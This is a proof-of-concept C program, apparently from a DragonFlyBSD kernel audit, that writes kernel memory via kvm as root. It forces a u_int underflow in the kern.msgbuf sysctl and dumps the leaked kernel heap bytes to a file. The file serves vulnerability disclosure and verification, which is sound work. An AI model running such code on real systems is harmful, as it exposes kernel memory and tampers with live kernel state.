DragonFlyBSD Kernel Audit
DF-0035 / msgbuf_oob_decisive.c
← back to finding ↓ download raw
/* DF-0035 — DECISIVE proof of the OOB read via direct state setup.
 *
 * The 3rd branch of sysctl_kern_msgbuf (sys/kern/subr_prf.c:1177-1184) is
 * reachable only when:
 *   xindex_modulo == 0           (msg_bufx is an exact multiple of msg_size)
 *   rindex_modulo > msg_size/2   (msg_bufr's modulo is past the midpoint)
 * In that geometry the buggy length (n - rindex_modulo) underflows (u_int).
 *
 * In normal operation msg_bufr tracks (msg_bufx - msg_size + 2048) so the
 * second condition can't hold; the only natural way it occurs is right after
 * root writes kern.msgbuf_clear=1 (which sets msg_bufr := msg_bufx).  After
 * such a clear the branch-3 window is just ONE msg_bufx value wide per
 * msg_size bytes of new log, which makes catching it via timing very hard.
 *
 * This program uses kvm_write to place msg_bufx and msg_bufr EXACTLY in the
 * buggy geometry, then immediately issues a sysctl kern.msgbuf read with a
 * large oldlen.  If the bug produces an OOB read, we observe it directly:
 *   - the returned length exceeds msg_size (the underflow clipped to oldlen)
 *   - bytes past msg_ptr+msg_size are adjacent kernel heap (non-'D' residue).
 *
 * This proves the buggy CODE PATH is an OOB read.  Whether it can be timed
 * naturally is documented separately (it requires root msgbuf_clear + a
 * 1-byte-wide race window -- see VERDICT.md).
 *
 * Build (root):  cc -O2 -o msgbuf_oob_decisive msgbuf_oob_decisive.c -lkvm
 * Run (root):    ./msgbuf_oob_decisive
 */
#include <sys/types.h>
#include <sys/msgbuf.h>
#include <sys/sysctl.h>
#include <fcntl.h>
#include <kvm.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <nlist.h>

static struct nlist nl[] = { { .n_name = "msgbufp" }, { .n_name = NULL } };

int main(void) {
	kvm_t *kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, "kvm_rw");
	if (!kd) { fprintf(stderr, "kvm_openfiles(O_RDWR) failed: %s\n", kvm_geterr(kd)); return 1; }
	if (kvm_nlist(kd, nl) != 0 || nl[0].n_value == 0) { fprintf(stderr,"nlist fail\n"); return 1; }

	struct msgbuf *mbp_ptr;
	if (kvm_read(kd, nl[0].n_value, &mbp_ptr, sizeof(mbp_ptr)) != sizeof(mbp_ptr)) {
		fprintf(stderr, "kv read ptr: %s\n", kvm_geterr(kd)); return 1;
	}
	struct msgbuf mb;
	if (kvm_read(kd, (unsigned long)mbp_ptr, &mb, sizeof(mb)) != sizeof(mb)) {
		fprintf(stderr, "kv read mb: %s\n", kvm_geterr(kd)); return 1;
	}
	u_int msg_size = mb.msg_size;
	unsigned long ptr_off = (unsigned long)&((struct msgbuf *)0)->msg_bufx;
	unsigned long bufr_off = (unsigned long)&((struct msgbuf *)0)->msg_bufr;

	printf("msgbufp=%p msg_size=%u msg_ptr=%p\n", (void*)mbp_ptr, msg_size, (void*)mb.msg_ptr);
	printf("original: bufx=%u bufr=%u\n", mb.msg_bufx, mb.msg_bufr);

	/* Fill the entire msgbuf with a recognizable marker ('M') via kvm_write
	 * so we can distinguish valid-buffer content from adjacent heap residue.
	 * (mb.msg_ptr is a kernel pointer -- must not be dereferenced from
	 * userspace.) */
	{
		char *pat = malloc(msg_size);
		memset(pat, 'M', msg_size);
		if (kvm_write(kd, (unsigned long)mb.msg_ptr, pat, msg_size) != (ssize_t)msg_size) {
			fprintf(stderr, "kvm_write msg_ptr fill: %s\n", kvm_geterr(kd));
		}
		free(pat);
	}

	/* Set up the buggy geometry:
	 *   msg_bufx = msg_size   (so xindex_modulo == 0)
	 *   msg_bufr = msg_size/2 + 100000   (so rindex_modulo > msg_size/2)
	 * Then n = msg_bufx - msg_bufr = msg_size - (msg_size/2 + 100000)
	 *                                  = msg_size/2 - 100000
	 * The bug computes: (n - rindex_modulo) = (msg_size/2 - 100000) - (msg_size/2 + 100000)
	 *                                      = -200000   (underflows u_int to ~4.095 billion)
	 */
	u_int target_bufx = msg_size;
	u_int target_bufr = msg_size/2 + 100000;
	printf("setting geometry: bufx=%u (Vm=0), bufr=%u (Vm=%u, > msg_size/2=%u)\n",
	    target_bufx, target_bufr, target_bufr, msg_size/2);

	if (kvm_write(kd, (unsigned long)mbp_ptr + ptr_off, &target_bufx, sizeof(target_bufx))
	    != (ssize_t)sizeof(target_bufx)) {
		fprintf(stderr, "kvm_write bufx: %s\n", kvm_geterr(kd)); return 1;
	}
	if (kvm_write(kd, (unsigned long)mbp_ptr + bufr_off, &target_bufr, sizeof(target_bufr))
	    != (ssize_t)sizeof(target_bufr)) {
		fprintf(stderr, "kvm_write bufr: %s\n", kvm_geterr(kd)); return 1;
	}

	/* Verify state */
	struct msgbuf mb2;
	kvm_read(kd, (unsigned long)mbp_ptr, &mb2, sizeof(mb2));
	printf("verify: bufx=%u bufr=%u, n=%u, bug_len=%u (underflow!)\n",
	    mb2.msg_bufx, mb2.msg_bufr,
	    mb2.msg_bufx - mb2.msg_bufr,
	    (mb2.msg_bufx - mb2.msg_bufr) - (mb2.msg_bufr % msg_size));

	/* Now do the sysctl read with a large oldlen.  If the bug fires, the
	 * returned length will be > msg_size and the bytes past msg_size will
	 * be kernel heap residue (not 'M'). */
	size_t oldlen = 1U << 20;   /* 1 MiB */
	char *buf = malloc(oldlen);
	if (!buf) { perror("malloc"); return 1; }
	size_t l = oldlen;
	memset(buf, 0x5a, oldlen);
	int rc = sysctlbyname("kern.msgbuf", buf, &l, NULL, 0);
	printf("sysctl rc=%d, returned length l=%zu (msg_size=%u)\n", rc, l, msg_size);

	if (l > msg_size) {
		printf("\n>>> DECISIVE: read returned %zu bytes, %zu MORE than msg_size! <<<\n",
		    l, l - msg_size);
		printf(">>> This is the u_int underflow (n - rindex_modulo) clipped to oldlen. <<<\n");
		/* Show the boundary: where do 'M' bytes stop and heap residue begins? */
		size_t last_M = 0;
		for (size_t i = 0; i < l && i < msg_size + 4096; i++) {
			if ((unsigned char)buf[i] == 'M') last_M = i;
		}
		printf("last 'M' marker at offset %zu (msg_size=%u); bytes [%u..%zu] are past msgbuf:\n",
		    last_M, msg_size, msg_size, l);
		printf("    msg_ptr+%u .. +127:\n    ", msg_size);
		for (size_t i = msg_size; i < msg_size + 128 && i < l; i++) {
			printf("%02x", (unsigned char)buf[i]);
			if (((i - msg_size + 1) % 32) == 0) printf("\n    ");
			else if (((i - msg_size + 1) % 8) == 0) printf(" ");
		}
		printf("\n");
		/* Hexdump the leaked bytes */
		FILE *f = fopen("leaked_bytes.hex", "w");
		if (f) {
			for (size_t i = msg_size; i < l; i++)
				fprintf(f, "%02x", (unsigned char)buf[i]);
			fprintf(f, "\n");
			fclose(f);
			printf("wrote %zu leaked bytes (past msgbuf) to leaked_bytes.hex\n",
			    l - msg_size);
		}
	} else if (l == msg_size) {
		printf("\nNOTE: read returned exactly msg_size -- bug did NOT underflow.\n");
	} else {
		printf("\nNOTE: read returned %zu bytes (< msg_size) -- bug is benign here.\n", l);
	}

	/* Restore msg_bufx / msg_bufr so the system isn't left in a weird state.
	 * Use the original values we read at the start. */
	kvm_write(kd, (unsigned long)mbp_ptr + ptr_off, &mb.msg_bufx, sizeof(mb.msg_bufx));
	kvm_write(kd, (unsigned long)mbp_ptr + bufr_off, &mb.msg_bufr, sizeof(mb.msg_bufr));
	printf("restored bufx=%u bufr=%u\n", mb.msg_bufx, mb.msg_bufr);

	free(buf);
	kvm_close(kd);
	return (l > msg_size) ? 0 : 2;
}